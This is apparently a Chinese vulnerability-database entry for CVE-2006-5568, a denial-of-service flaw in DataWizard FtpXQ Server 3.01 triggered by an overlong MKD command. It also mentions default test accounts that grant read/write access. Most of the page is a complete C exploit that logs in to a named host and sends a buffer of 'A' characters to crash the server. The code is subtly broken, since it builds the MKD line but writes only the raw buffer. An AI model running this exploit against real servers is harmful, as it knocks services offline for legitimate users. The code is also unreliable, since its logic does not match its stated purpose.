DataWizard MKD命令拒绝服务攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111370 漏洞类型 资源管理错误
发布时间 2006-10-24 更新时间 2006-11-01
CVE编号 CVE-2006-5568 CNNVD-ID CNNVD-200610-484
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/28860
https://cxsecurity.com/issue/WLB-2006100151
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-484
|漏洞详情
FtpXQServer3.0.1允许远程攻击者通过较长的MKD命令引起拒绝服务(CPU耗竭)攻击。
|漏洞EXP
source: http://www.securityfocus.com/bid/20721/info

DataWizard FtpXQ Server is prone to multiple remote vulnerabilities:

- A remote denial-of-service issue occurs because the application fails to perform adequate bounds checks on user-supplied data before copying it to an insufficiently sized buffer. An attacker could exploit this issue to crash the application, denying access to legitimate users.

- The application creates two testing accounts by default. An attacker can access these accounts to gain read/write privileges on the server, which could result in the compromise of the affected computer.

FtpXQ Server 3.01 is vulnerable; other version may also be affected.

/*
* 0xf_ftpxq.c - FTPXQ Denial of service exploit.
* Federico Fazzi <federicoautistici.org>
*
* advisory by Eric Sesterhenn.
* -- Server built using the WinsockQ from DataWizard Technologies. A
security
* -- vulnerability in the product allows remote attackers to overflow an
* -- internal buffer by providing an overly long "make directory" request.
*
* r20061025.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

// AAAAAAAAAAAAAAAA..AA*255 in hex format.
char bof[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
         "\x41\x41\x41\x41\x41\x41\x41\x41";

int main(int argc, char **argv) {
    int sd;
    socklen_t len;
    struct sockaddr_in saddr;
    struct hostent *he;
    char buf[512], tmpbuf[128];

    if(argc != 5) {
        printf("FTPXQ Server - Denial of service exploit.\n"
               "Federico Fazzi <federicoautistici.org>\n\n"
               "usage: %s <hostname> <port> <user> <password>\n", argv[0]);
            exit(1);
    }

    if((he = gethostbyname(argv[1])) == NULL) {
        perror("gethostbyname()");
            exit(1);
    }

    // init socket
    if((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        perror("socket()");
            exit(1);
    }

    // setup struct
    bzero((char *) &saddr, sizeof(saddr));
    saddr.sin_family = AF_INET;
    bcopy((char *)he->h_addr, (char *)&saddr.sin_addr.s_addr, he->h_length);
    saddr.sin_port = htons(atoi(argv[2]));

    len = sizeof(struct sockaddr);
    // init connection
    if(connect(sd, (struct sockaddr *)&saddr, len) == -1) {
            perror("connect()");
            exit(1);
    }
    printf("FTPXQ Server - Denial of service exploit.\n"
           "Federico Fazzi <federicoautistici.org>\n"
           "---------------------------------------\n");
    puts("connecting..\t\t done");

    // sending a USER data to daemon
    sprintf(buf, "USER %s\r\n", argv[3]);
    write(sd, buf, strlen(buf));
    puts("sending USER data..\t done");

    // sending a PASS data to daemon
    sprintf(buf, "PASS %s\r\n", argv[4]);
    write(sd, buf, strlen(buf));
    puts("sending PASS data..\t done");

    // sending a BOF string with MKD command to host
    sprintf(buf, "MKD %s", bof);
    write(sd, bof, strlen(bof));
    puts("sending MKD bof string.. done");

    // now checking if server i down
    if(read(sd, tmpbuf, sizeof(tmpbuf)) > 0)
        puts("[!] server doesn't vulnerable");
    else
        puts("[+] server getting down.. done");
    close(sd);

    return(0);
}
|参考资料

来源:XF
名称:ftpxq-mkd-dos(29778)
链接:http://xforce.iss.net/xforce/xfdb/29778
来源:BID
名称:20721
链接:http://www.securityfocus.com/bid/20721
来源:VUPEN
名称:ADV-2006-4192
链接:http://www.frsirt.com/english/advisories/2006/4192
来源:SECUNIA
名称:22540
链接:http://secunia.com/advisories/22540
来源:FULLDISC
名称:20061025FTPXQDenialofserviceexploit.
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2006-October/050335.html
来源:SREASON
名称:1789
链接:http://securityreason.com/securityalert/1789